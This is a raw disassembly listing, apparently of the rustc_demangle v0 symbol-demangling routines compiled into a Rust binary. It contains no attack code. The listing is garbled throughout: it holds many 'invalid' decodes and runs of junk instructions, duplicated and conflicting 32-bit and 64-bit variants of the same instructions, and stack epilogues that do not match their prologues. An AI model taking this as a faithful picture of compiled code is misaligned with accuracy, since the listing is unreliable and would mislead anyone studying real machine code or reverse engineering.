mov rdi, qword [rsp + 0x60]
lea rbx, [rsp + 0x98]
mov r14, qword [rsp + 0x30]
nop
mov eax, dword [rbx]
mov dword [rsp + 0x44], eax
mov rcx, rsi
mov rdx, rdi
call fcn.1a7f1b6e4c0
mov ebp, eax
test al, al
jne 0x1a7f1b9429a
add rbx, 4
add ebx, 4
add r14, 0xfffffffffffffffc
cld
jne 0x1a7f1b942e0
jmp 0x1a7f1b9429a
lea r8, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x80
mov rcx, r10
call fcn.1a7f1c2fb60
ud2
invalid
or ecx, esp
int3
int3
push rcx
or byte [rbx + 0x1a], dh
jae 0x1a7f1b94344
jae 0x1a7f1b94344
mov rax, qword [rcx]
movzx eax, byte [rax + rdx]
inc rdx
mov qword [rcx + 0x10], rdx
mov dword [rcx + 0x10], edx
mov dword [rcx + 0x10], edx
lea ecx, [rax - 0x41]
cmp cl, 0x1a
jae 0x1a7f1b9434d
xor ecx, ecx
jmp 0x1a7f1b94361
mov ecx, 1
xor eax, eax
jmp 0x1a7f1b94361
add byte [rcx], dh
shr bl, 0x14
add al, 0x85
xor edx, edx
xor ecx, ecx
cmp al, 0xe6
setb cl
mov eax, 0x110000
cmovb rax, rdx
shl rax, 0x20
or rax, rcx
ret
add dword [rax], eax
add byte [rbx + rcx*4 + 0x66], cl
or byte [rax - 0x75], cl
pop rsi
adc byte [rcx + rdi - 0x1d], cl
cmp rbx, r12
add byte [rax], al
lea ebp, [rbx + 1]
imul eax, dword [rcx], 0x4c
mov dword [rsi + 0x10], ebp
movabs dword [0x8b00000168820fc1], eax
sbb dil, r15b
ror byte [rcx - 0xbc2e7ba], 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
imul ecx, dword [rdi], 0x1b84100
add byte [rax], al
add al, ch
std
std
sldt word [rcx - 0x48]
add dword [rax], eax
add byte [rax], al
mov eax, 1
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x438850f], eax
add byte [rax], al
invalid
test dword [0x1a832b94436], esp
cmp dh, 0x41
and byte [rax - 0x7b], r9b
leave
add al, ch
mov esi, 0x84fffd40
test al, al
jne 0x1a7f1b94856
invalid
invalid
add dword [rax - 0x77], ecx
int1
out 3, eax
add byte [rax], al
add eax, dword [rax]
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
add eax, dword [rax]
add byte [rax - 0x73], cl
lea rdx, [0x1a7f1c8adc1]
add byte [rax], al
add dword [rax], eax
add byte [rax], al
std
invalid
leave
add byte [rax - 0x7d], cl
invalid
std
dec dword [rax - 0x75]
and byte [rax - 0x7b], r9b
leave
or al, 0
xor al, 0x40
std
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x36f850f], eax
add byte [rax], al
add byte [rax - 0x39], cl
invalid
mov ecx, dword [rsi + 0x20]
sbb dword [rax], eax
add byte [rax], al
ror byte [rdi], 0x85
cmp dword [rbx], eax
add byte [rax], al
mov ecx, dword [rsi + 0x20]
add byte [rax - 0x73], cl
adc eax, 0xc4cb7
mov edx, dword [rdx + rax*8]
ret 0x8d4c
lea eax, [0x1a7f1c59128]
or al, 0
pop rax
invalid
dec dword [rax - 0x75]
pop rsi
and byte [rax - 0x7b], cl
fisttp dword [rdi]
test dl, bl
add al, byte [rax]
mov ebx, dword [rsi + 0x20]
add byte [rax - 0x73], cl
adc eax, 0xc46bb
invalid
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x2d4850f], eax
add byte [rax], al
mov bh, 1
test dword [0x1a839b9458f], ecx
lea edx, [0x1a7f1c58fa0]
add byte [rax], al
add al, ch
invalid
push rdi
invalid
std
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x292850f], eax
invalid
add al, byte [rax]
add byte [rbp + 0x39], cl
in eax, 0xf
add dword [rdi + 2], 0
add byte [rbx - 0x80], al
cmp al, 0x2f
jne 0x1a7f1b94814
cmp al, 2
add byte [rax], al
add byte [rax], al
cmp al, 2
add byte [rax], al
add byte [rdi], cl
test ah, ah
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x5c
and al, 0x21
je 0x1a7f1b94612
add byte [rax], al
lea edx, [0x1a7f1c58f68]
add byte [rax], al
add cl, ch
push rsi
add al, byte [rax]
add byte [rax - 0x77], cl
mov rcx, rsi
adc eax, dword [rdx]
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x77], cl
mov qword [rsi + 0x10], rbx
invalid
invalid
int1
invalid
lea edx, [0x1a7f1c58fa8]
add byte [rax], al
add al, ch
mov cl, 0x3e
add byte [rax], al
std
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x1ec850f], eax
in al, dx
add dword [rax], eax
invalid
in al, dx
add dword [rax], eax
add byte [rax - 0x77], cl
int1
sub eax, dword [rax]
add byte [rax - 0x49], al
add dword [rax + rax*8 + 0x1d9850f], eax
test al, al
invalid
test ecx, ebx
invalid
ror byte [rdi], 0x85
fld dword [rcx]
add byte [rax], al
sub al, byte [rcx]
add byte [rax], al
invalid
add byte [rax - 0x75], cl
adc byte [rax + 0x3b], r9b
or byte [rdi], r9b
jae case.0x1a7f1b7491c.373
cmp byte [rcx + rax], 0x4c
invalid
test dword [rdx], edx
add dword [rax], eax
add byte [rax - 1], cl
ror byte [rax - 0x77], 0x46
adc byte [rax - 0x73], r9b
adc byte [rax - 0x73], r9b
lea ecx, [rsp + 0x20]
and al, 0x20
add byte [rdi], cl
test dword [rax], edi
invalid
and al, 0x28
and byte [rax - 0x7b], cl
leave
add byte [rax], al
int1
mov ecx, esi
and eax, 0x36e90000
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
invalid
invalid
and byte [rax - 0x7b], cl
leave
mov eax, 1
mov bh, 1
add dword [rax - 0x7b], ecx
ror byte [rdi], 0x85
invalid
test eax, eax
add byte [rax - 0x7d], cl
cli
add dword [rbp + 0x27], esi
mov ecx, dword [rsi + 0x20]
mov edi, dword [rdi - 0x47befff4]
add dword [rax], eax
add byte [rax], al
ror byte [rdi], 0x85
loope case.0x1a7f1b89856.389
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
lea edx, str._HRESULT_
mov byte [rax], dl
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
scasb al, byte [rdi]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xc47fc
add byte [rax], al
std
invalid
add byte [rax], al
add al, ch
cmp eax, 0xc084fffd
sal byte [rbp + 0x61], 0x48
mov ecx, dword [rsi + 0x20]
adc eax, 0xf4d3c
inc dword [rax + rax*8 - 0x7fbebd8b]
invalid
jb 0x1a7f1b9486f
or al, 0
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
std
inc dword [rax - 0x49]
add dword [rax + rax*8 - 0x76b7e58b], eax
int1
add byte [rbx + rax - 1], dh
sbb byte [rcx], r14b
xor edi, edi
mov eax, edi
add rsp, 0x30
pop rbx
pop rdi
adc eax, 0xc46e4
or al, 0
add dword [rax + rax*8 - 0x38b72f8b], eax
invalid
mov dword [rsi], 0
int3
lea ebx, [0x1a7f1c58f87]
xor r14d, r14d
mov rcx, qword [rdi + 0x10]
mov ecx, dword [rdi + 0x10]
cmp rcx, qword [rdi + 8]
jae 0x1a7f1b948d0
or byte [rbx + 6], dh
cmp byte [rax + rcx], 0x45
je 0x1a7f1b94912
sub r14, 1
jb case.0x1a7f1b9b4b9.89
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je case.0x1a7f1b9b4b9.89
invalid
adc al, byte [rcx - 0x48]
add al, byte [rax]
add byte [rax], al
mov r8d, 2
mov rdx, rbx
call fcn.1a7f1b68510
test al, al
jne 0x1a7f1b9490b
invalid
mov rcx, rdi
call fcn.1a7f1b94930
test al, al
jne 0x1a7f1b9490b
mov rax, qword [rdi]
test rax, rax
test eax, eax
test eax, eax
jne 0x1a7f1b948c0
jmp 0x1a7f1b9491b
mov esi, 1
jmp 0x1a7f1b9491b
inc rcx
mov qword [rdi + 0x10], rcx
xor esi, esi
mov rax, rsi
add rsp, 0x28
pop rbx
pop rdi
sub byte [rbx + 0x5f], bl
pop rsi
pop r14
ret
int3
invalid
or dword [rax - 0x7b], ecx
leave
je case.0x1a7f1b91e8c.122
mov r8, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r8
jae case.0x1a7f1b91e8c.122
movzx edx, byte [rcx + rax]
cmp edx, 0x4b
je 0x1a7f1b9498b
mov dh, 0x14
add dword [rbx + 0x35744bfa], eax
cmp edx, 0x4c
jne case.0x1a7f1b91e8c.122
jne case.0x1a7f1b91e8c.122
lea r9, [rax + 1]
mov qword [rsi + 0x10], r9
cmp r9, r8
jae 0x1a7f1b949a1
invalid
add qword [rcx + rcx*4 + 0x4e], rcx
add dword [rcx + rcx*4 + 0x4e], ecx
adc byte [rbp + 0x39], cl
sal dword [rbx + 0x39], 0x42
cmp dword [rdx - 0x80], eax
cmp al, 9
pop rdi
cmp dword [rdx - 0x80], eax
cmp al, 9
pop rdi
cmp byte [rcx + r9], 0x5f
jne 0x1a7f1b949a1
add rax, 2
add eax, 2
mov qword [rsi + 0x10], rax
adc byte [rcx], dh
shr cl, 0xc3
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rsi
xor eax, eax
jmp 0x1a7f1b94a41
mov rcx, rsi
mov ecx, esi
add rsp, 0x20
pop rsi
jmp fcn.1a7f1b94370
stc
invalid
invalid
stc
invalid
inc rax
mov qword [rsi + 0x10], rax
mov rcx, rsi
ror byte [rax - 0x77], 0x46
adc byte [rax - 0x77], cl
int1
xor edx, edx
add rsp, 0x20
add esp, 0x20
pop rsi
jmp fcn.1a7f1b94a60
add byte [rax], al
add byte [rax], al
xor eax, eax
mov r10d, 0x3e
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
invalid
add byte [rax], al
nop dword [rax]
add byte [rbp + 0x39], cl
sal dword [rbx + 0x56], 0x42
invalid
cmp r9, r8
jae 0x1a7f1b94a0b
movzx edx, byte [rcx + r9]
movzx edx, byte [rcx + rcx]
adc al, 9
cmp dl, 0x5f
je 0x1a7f1b949ff
lea r11d, [rdx - 0x30]
cmp r11b, 0xa
sti
or dh, byte [rdx + 0x1f]
jb 0x1a7f1b949e8
jb 0x1a7f1b949e8
lea r11d, [rdx - 0x61]
lea ebx, [rdx - 0x61]
cmp r11b, 0x1a
jae 0x1a7f1b949d8
add dl, 0xa9
jmp case.0x1a7f1b91e8c.155
lea r11d, [rdx - 0x41]
lea ebx, [rdx - 0x41]
cmp r11b, 0x1a
jae 0x1a7f1b94a0b
add dl, 0xe3
mov r11d, edx
inc r9
mov qword [rsi + 0x10], r9
mul r10
jo 0x1a7f1b94a0b
movzx edx, r11b
add rax, rdx
jae 0x1a7f1b949b0
jmp 0x1a7f1b94a0b
inc r9
mov qword [rsi + 0x10], r9
inc rax
jne 0x1a7f1b94a41
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1a7f1b94a2e
lea rdx, str.invalid_syntaxrecursion_limit_reachedfor_____::closureshim_as_mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.1a7f1b68510
invalid
cmp bh, ch
dec dword [rcx - 0x7bfe4f3f]
leave
jne 0x1a7f1b94a3b
invalid
mov qword [rsi], 0
mov byte [rsi + 8], 0
or byte [rax], r8b
or byte [rax], r8b
xor eax, eax
add rsp, 0x20
pop rsi
ret
and byte [rsi - 0x3d], bl
mov rcx, rsi
mov ecx, esi
mov rdx, rax
mov edx, eax
ret 0x8348
add rsp, 0x20
pop rsi
jmp fcn.1a7f1b95140
add byte [rax], al
invalid
add byte [rax], al
int3
int3
int3
leave
add eax, 0x8b4c0000
or byte [rax - 0x75], r9b
adc byte [rcx + r15 - 0x38], r9b
adc byte [rcx + rdi - 0x38], cl
adc byte [rcx + rdi - 0x38], cl
cmp eax, ecx
cmp esi, 1
add byte [rax], al
add dword [rcx + rcx*4 + 0x46], ecx
add dword [rcx + rcx*4 + 0x46], ecx
adc byte [rbx + rcx*4 + 0x56], al
sbb byte [rcx - 1], al
ret 0x8944
push rsi
sbb byte [rcx - 0x7f], al
cli
hlt
add byte [rax], al
mov edi, 0x38fa8341
cmp edx, 0x38
lea ebx, [0x1a7f1c9e6a0]
adc byte [rax], al
mov dword [rsi + 0x10], eax
xchg byte [rdx + 0xc], al
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
adc bh, byte [rdx]
std
inc dword [rax - 0x49]
mov dil, 1
test al, al
jne 0x1a7f1b9502c
invalid
add eax, 0x4eff0000
sbb cl, ch
cli
add al, 0
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
invalid
add eax, 2
add byte [rax - 0x75], cl
and al, 0x28
std
inc dword [rax + rax*8 - 0x4127bf1]
invalid
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x578b48d3], cl
or byte [rbx + rcx*4 + 0x47], cl
adc byte [rcx + rcx*4 - 0x3f], cl
nop word cs:[rax + rax]
cmp rcx, rdx
jae 0x1a7f1b952f1
mov r9, rcx
movzx eax, byte [rsi + rcx]
mov dh, 4
invalid
inc rcx
mov qword [rdi + 0x10], rcx
lea r10d, [rax - 0x30]
cmp r10b, 0xa
cli
or dh, byte [rdx - 0x21]
mov dh, 4
invalid
cli
or dh, byte [rdx - 0x21]
lea r10d, [rax - 0x61]
cmp r10b, 6
cmp dl, 6
cmp dl, 6
jb 0x1a7f1b95260
cmp al, 0x5f
jne 0x1a7f1b952f1
mov r14, r9
sub r14, r8
jb 0x1a7f1b953d0
test r8, r8
je 0x1a7f1b952ab
cmp byte [rsi + r8], 0xbf
cmp byte [rsi + rax], 0xbf
jle 0x1a7f1b953d0
add rsi, r8
invalid
mov rcx, rsi
mov rdx, r14
call fcn.1a7f1b95640
test rax, rax
ror byte [rdi], 0x84
mov byte [rax], al
add byte [rax], al
ror byte [rdi], 0x84
mov byte [rax], al
add byte [rax], al
mov rdi, qword [rdi + 0x20]
mov qword [rsp + 0x28], rdx
push rsp
and al, 0x28
push rsp
and al, 0x28
test rdi, rdi
je case.0x1a7f1b75026.336
lea rcx, [rsp + 0x28]
mov rdx, rdi
sub byte [rax - 0x77], cl
cli
call fcn.1a7f1b67cb0
mov bpl, 1
mov ch, 1
test al, al
je 0x1a7f1b95381
jmp 0x1a7f1b953c3
add byte [rax], al
add byte [rax - 0x75], cl
and byte [r8 - 0x7b], r9b
leave
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je 0x1a7f1b95317
lea rdx, str.invalid_syntaxrecursion_limit_reachedfor_____::closureshim_as_mut_const___dyn___unsafe_extern__
lea edx, str.invalid_syntaxrecursion_limit_reachedfor_____::closureshim_as_mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.1a7f1b68510
add al, 0x32
std
inc dword [rax - 0x4b]
add dword [rax + rax*8 + 0xac850f], eax
add byte [rax], al
add al, 0x32
std
xor bh, ch
inc dword [rax - 0x4b]
add dword [rax + rax*8 + 0xac850f], eax
add byte [rax], al
mov qword [rdi], 0
mov byte [rdi + 8], 0
jmp case.0x1a7f1b75026.336
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add al, ch
retf 0xfd31
call fcn.1a7f1b68510
mov ebp, eax
jmp 0x1a7f1b953c3
mov rdi, qword [rdi + 0x20]
test rdi, rdi
je case.0x1a7f1b75026.336
lea rdx, str.0x0X0
mov r8d, 2
pop rdx
sldt word [rcx - 0x48]
add al, byte [rax]
add byte [rax], al
mov rcx, rdi
call fcn.1a7f1b68510
test al, 0x31
std
inc dword [rax - 0x4b]
invalid
test al, al
jne 0x1a7f1b953c3
test al, 0x31
xor ebp, edi
std
inc dword [rax - 0x4b]
add dword [rax + rax*8 - 0x76b7ab8b], eax
stc
mov rcx, rdi
mov rdx, rsi
mov r8, r14
call fcn.1a7f1b68510
test al, al
jne 0x1a7f1b953c3
test byte [rdi + 0x34], 4
jne case.0x1a7f1b75026.336
add bl, 0x9f
cmp bl, 0x1a
jae 0x1a7f1b953e6
movzx eax, bl
mov ecx, 0x3bcfbbf
bt ecx, eax
invalid
jae 0x1a7f1b953e6
sal dword [rbx + 0x4a], 0x48
lea ecx, [0x1a7f1c59128]
lea rcx, [0x1a7f1c59128]
mov r8, qword [rcx + rax*8]
lea rcx, [0x1a7f1c591f8]
ror dword [rax - 0x73], 0xd
or al, 0
mov rdx, qword [rcx + rax*8]
mov rcx, rdi
mov ecx, edi
mov ecx, edi
call fcn.1a7f1b68510
mov bpl, 1
test al, al
jne 0x1a7f1b953c3
invalid
add dh, byte [rcx]
in eax, dx
xor ebp, ebp
mov eax, ebp
add rsp, 0x30
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
ret
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
and byte [rax - 0x77], cl
int1
and byte [rax - 0x77], cl
int1
call fcn.1a7f1c301d0
ud2
lea rcx, [0x1a7f1c8b482]
or eax, 0xf6095
lea r8, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x2b
call fcn.1a7f1c2fc60
ud2
cmp r11, r10
jae 0x1a7f1b95535
ror dword [rdi], cl
sbb esp, 0
add byte [rax], al
movzx edx, byte [r9 + r11]
cmp dl, 0x5f
je case.0x1a7f1b75902.307
lea ebx, [rdx - 0x30]
cmp bl, 0xa
jb 0x1a7f1b95491
lea ebx, [rdx - 0x61]
cmp bl, 0x1a
jae 0x1a7f1b95480
add dl, 0xa9
jmp 0x1a7f1b9548f
invalid
lea ebx, [rdx - 0x41]
cmp bl, 0x1a
jae 0x1a7f1b95535
add dl, 0xe3
mov ebx, edx
inc r11
mov qword [rsi + 0x10], r11
mul rdi
jo 0x1a7f1b95535
movzx edx, bl
add rax, rdx
jae 0x1a7f1b95450
jmp 0x1a7f1b95535
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
je 0x1a7f1b95564
add byte [rax - 0x73], cl
adc eax, 0xf4dde
lea rdx, [0x1a7f1c8a2a0]
mov r8d, 1
add rsp, 0x40
pop rbx
pop rdi
pop rsi
jmp fcn.1a7f1b68510
add byte [rax - 0x7d], cl
invalid
inc r11
mov qword [rsi + 0x10], r11
inc rax
je 0x1a7f1b95535
dec rcx
cmp rax, rcx
jae 0x1a7f1b95535
mov ecx, dword [rsi + 0x18]
inc ecx
cmp ecx, 0x1f5
jae 0x1a7f1b9556e
cmp qword [rsi + 0x20], 0
je 0x1a7f1b95564
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x18], ecx
test r8b, r8b
setne dl
mov rcx, rsi
call fcn.1a7f1b94a60
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm1
jmp 0x1a7f1b95566
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1a7f1b95558
lea rdx, str.invalid_syntaxrecursion_limit_reachedfor_____::closureshim_as_mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.1a7f1b68510
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1a7f1b95566
xor eax, eax
mov qword [rsi], 0
mov byte [rsi + 8], al
xor eax, eax
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1a7f1b95593
lea rdx, [0x1a7f1c58f68]
mov r8d, 0x19
add byte [rcx - 0x48], al
sbb dword [rax], eax
add byte [rax], al
call fcn.1a7f1b68510
mov ecx, eax
mov al, 1
test cl, cl
je 0x1a7f1b9555a
invalid
jmp 0x1a7f1b95566
mov al, 1
jmp 0x1a7f1b9555a
ret
mov eax, dword [rdx + 0x10]
mov rcx, qword [rdx]
mov ecx, dword [rdx]
mov rdx, qword [rdx + 8]
mov rsi, r8
or byte [rcx + rcx*4 - 0x3a], cl
nop word [rax + rax]
add byte [rax], r8b
add byte [rax], al
cmp rsi, rdx
jae 0x1a7f1b9560e
mov r9, rsi
movzx r11d, byte [rcx + rsi]
sbb al, 0x31
sbb al, 0x31
inc rsi
mov qword [r10 + 0x10], rsi
lea edi, [r11 - 0x30]
cmp dil, 0xa
jb 0x1a7f1b955c0
invalid
loop 0x1a7f1b95620
lea edi, [r11 - 0x61]
lea edi, [rbx - 0x61]
lahf
cmp dil, 6
jb 0x1a7f1b955c0
cmp r11b, 0x5f
jne 0x1a7f1b9560e
mov r10, r9
sub r10, r8
jb 0x1a7f1b95620
test r8, r8
je 0x1a7f1b95602
cmp byte [rcx + r8], 0xc0
add eax, eax
jl 0x1a7f1b95620
add rcx, r8
mov qword [rax], rcx
mov qword [rax + 8], r10
jmp 0x1a7f1b95619
or bl, ch
or eax, esi
or byte [rax], al
invalid
mov byte [rax + 8], 0
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
mov qword [rax], 0
add byte [rax - 0x7d], cl
invalid
add rsp, 0x28
pop rdi
pop rsi
ret
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
and al, ch
lahf
stosd dword [rdi], eax
or dword [rax], eax
and al, ch
lahf
stosd dword [rdi], eax
or dword [rax], eax
ud2
int3
mov eax, esi
call fcn.1a7f1b6e7e0
lea r14, [rsp + 0x28]
nop word [rax + rax]
mov rcx, r14
mov rdx, rbx
call fcn.1a7f1b96830
mov rax, qword [rsp + 0x28]
cmp rax, 1
je 0x1a7f1b956a0
invalid
or al, byte [rbx - 0x1a8afd08]
cmp eax, 2
jne 0x1a7f1b95680
mov rcx, rsi
jmp 0x1a7f1b956a5
mov rcx, qword [rsp + 0x30]
mov rax, rsi
sub rax, rcx
cmp rax, 0x10
jbe 0x1a7f1b956b5
xor eax, eax
jmp 0x1a7f1b956c1
mov eax, 1
cmp rsi, rcx
jne 0x1a7f1b956ce
xor edx, edx
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
add rsi, rdi
add rcx, rdi
xor edx, edx
mov r8d, 0xffffffff
jmp 0x1a7f1b956f2
nop
mov r9, rdx
shl r9, 4
mov edx, r10d
or rdx, r9
cmp rcx, rsi
je 0x1a7f1b956c1
movzx ebx, byte [rcx]
movzx r9d, bl
test r9b, r9b
js 0x1a7f1b95710
inc rcx
jmp 0x1a7f1b95790
invalid
add byte [rsi + 0x2e], ah
nop dword [rax + rax]
mov r10d, r9d
and r10d, 0x1f
movzx edi, byte [rcx + 1]
and edi, 0x3f
cmp r9b, 0xdf
jbe 0x1a7f1b95766
movzx r11d, byte [rcx + 2]
shl edi, 6
and r11d, 0x3f
or r11d, edi
cmp bl, 0xf0
jb 0x1a7f1b95776
movzx r9d, byte [rcx + 3]
movzx ecx, byte [rcx + 3]
and r10d, 7
shl r10d, 0x12
shl r11d, 6
shl ebx, 6
shl ebx, 6
and r9d, 0x3f
or r9d, r11d
or r9d, r10d
cmp r9d, 0x110000
je 0x1a7f1b956c1
add rcx, 4
jmp 0x1a7f1b95790
add rcx, 2
shl r10d, 6
or r10d, edi
mov r9d, r10d
jmp 0x1a7f1b95790
add rcx, 3
shl r10d, 0xc
or r11d, r10d
mov r9d, r11d
nop word cs:[rax + rax]
lea r10d, [r9 - 0x30]
cmp r10d, 0xa
jb 0x1a7f1b956e0
or r9d, 0x20
add r9d, 0xffffff9f
add r9d, 0xa
cmovb r9d, r8d
mov r10d, r9d
cmp r9d, 0x10
jb 0x1a7f1b956e0
lea rcx, [0x1a7f1c8b482]
lea r8, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x2b
call fcn.1a7f1c2fc60
ud2
mov rcx, qword [rdi + 0x10]
cmp rcx, qword [rdi + 8]
jae 0x1a7f1b95d60
cmp byte [rax + rcx], 0x45
je 0x1a7f1b95da4
sub r14, 1
jb 0x1a7f1b95d81
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je 0x1a7f1b95d81
mov r8d, 2
mov rdx, rbx
call fcn.1a7f1b68510
test al, al
jne 0x1a7f1b95d9d
mov rcx, rdi
mov dl, 1
call fcn.1a7f1b94a60
test al, al
jne 0x1a7f1b95d9d
mov rax, qword [rdi]
test rax, rax
jne 0x1a7f1b95d50
jmp 0x1a7f1b95dad
xor esi, esi
jmp 0x1a7f1b95dad
mov esi, 1
add byte [rax], al
jmp 0x1a7f1b95dad
inc rcx
mov qword [rdi + 0x10], rcx
xor esi, esi
mov rax, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r9
jae 0x1a7f1b95eb7
cmp byte [r8 + rax], 0x45
je 0x1a7f1b960c1
test r12, r12
je 0x1a7f1b95eef
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1a7f1b95eef
mov r8d, 2
mov rdx, r15
call fcn.1a7f1b68510
test al, al
jne case.0x1a7f1b92321.387
mov r8, qword [rsi]
test r8, r8
je 0x1a7f1b95f92
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r9
jae 0x1a7f1b95fe0
cmp byte [r8 + rax], 0x73
jne 0x1a7f1b95fe0
lea rcx, [rax + 1]
mov qword [rsi + 0x10], rcx
cmp rcx, r9
jae 0x1a7f1b95f24
cmp byte [r8 + rcx], 0x5f
jne 0x1a7f1b95f24
add rax, 2
mov qword [rsi + 0x10], rax
jmp 0x1a7f1b95fe0
xor eax, eax
nop word cs:[rax + rax]
cmp rcx, r9
jae 0x1a7f1b96057
movzx edx, byte [r8 + rcx]
cmp dl, 0x5f
je 0x1a7f1b95fc4
invalid
add byte [rbp + rcx*4 + 0x52], al
rol byte [rcx - 0x80], 1
cli
or dh, byte [rdx + 0x23]
lea r10d, [rdx - 0x30]
cmp r10b, 0xa
jb 0x1a7f1b95f74
lea r10d, [rdx - 0x61]
cmp r10b, 0x1a
cmp dl, 0x1a
cmp dl, 0x1a
jae 0x1a7f1b95f60
add dl, 0xa9
jmp 0x1a7f1b95f71
lea r10d, [rdx - 0x41]
cmp r10b, 0x1a
jae 0x1a7f1b96057
sub ecx, 0
add byte [rax], al
sub ecx, 0
add byte [rax], al
add dl, 0xe3
mov r10d, edx
inc rcx
mov qword [rsi + 0x10], rcx
mul rbp
jo 0x1a7f1b96057
movzx edx, r10b
movzx edx, dl
mov dh, 0xd2
ror byte [rax + 1], cl
sal byte [rbx - 0x5d], 1
invalid
add rax, rdx
jae 0x1a7f1b95f30
invalid
movabs dword [0x4e8b48000000c5e9], eax
jmp 0x1a7f1b96057
invalid
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x7b], cl
leave
test rcx, rcx
je 0x1a7f1b96089
add byte [rax], al
add byte [rcx - 0x43], al
add dword [rax], eax
mov r13d, 1
add byte [rax], al
mov r8d, 1
lea rdx, [0x1a7f1c8a2a0]
call fcn.1a7f1b68510
test al, al
je 0x1a7f1b96046
invalid
add cl, ch
enter 0, 0
jmp 0x1a7f1b9608c
inc rcx
inc ecx
mov qword [rsi + 0x10], rcx
inc rax
inc eax
inc eax
je 0x1a7f1b96057
add byte [rax - 0x7d], cl
clc
dec dword [rdi]
test byte [rcx], bh
add byte [rax], al
cmp rax, 0xffffffffffffffff
je 0x1a7f1b96057
nop
mov rcx, rdi
stc
mov rdx, rsi
call fcn.1a7f1b93aa0
cmp qword [rsp + 0x20], 0
je 0x1a7f1b960a0
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov r13, qword [rsi + 0x20]
test r13, r13
je 0x1a7f1b96038
invalid
and al, 0x48
mov ecx, ebx
mov rcx, rbx
mov rdx, r13
call fcn.1a7f1b93cc0
test al, al
jne case.0x1a7f1b92321.387
mov r8d, 2
mov rcx, r13
add byte [rcx + rcx*4 - 0x17], cl
mov rdx, r14
call fcn.1a7f1b68510
test al, al
jne case.0x1a7f1b92321.387
mov rcx, rsi
mov dl, 1
call fcn.1a7f1b94a60
invalid
invalid
invalid
invalid
test al, al
jne case.0x1a7f1b92321.387
invalid
mov r8, qword [rsi]
inc r12
test r8, r8
jne 0x1a7f1b95e9f
invalid
invalid
invalid
invalid
invalid
jmp 0x1a7f1b96089
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1a7f1b9607e
lea rdx, str.invalid_syntaxrecursion_limit_reachedfor_____::closureshim_as_mut_const___dyn___unsafe_extern__
mov r8d, 0x10
add byte [rcx - 0x48], al
adc byte [rax], al
add byte [rax], al
call fcn.1a7f1b68510
test al, al
je 0x1a7f1b9607e
and al, 0xfd
inc dword [rax + rax*8 - 0x42bef78c]
mov r13d, 1
mov r13d, 1
add byte [rax], al
add bl, ch
jmp 0x1a7f1b9608c
invalid
mov qword [rsi], 0
mov byte [rsi + 8], 0
add dh, al
or byte [rax], r8b
xor r13d, r13d
in eax, dx
mov rax, r13
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
movzx ebx, byte [rsp + 0x28]
mov rcx, qword [rsi + 0x20]
test bl, bl
je 0x1a7f1b960ca
invalid
sbb eax, 0x74c98548
xor ecx, dword [rax - 0x73]
lea edx, [0x1a7f1c58f68]
test rcx, rcx
je 0x1a7f1b960e5
lea rdx, [0x1a7f1c58f68]
lea edx, [0x1a7f1c58f68]
mov r8d, 0x19
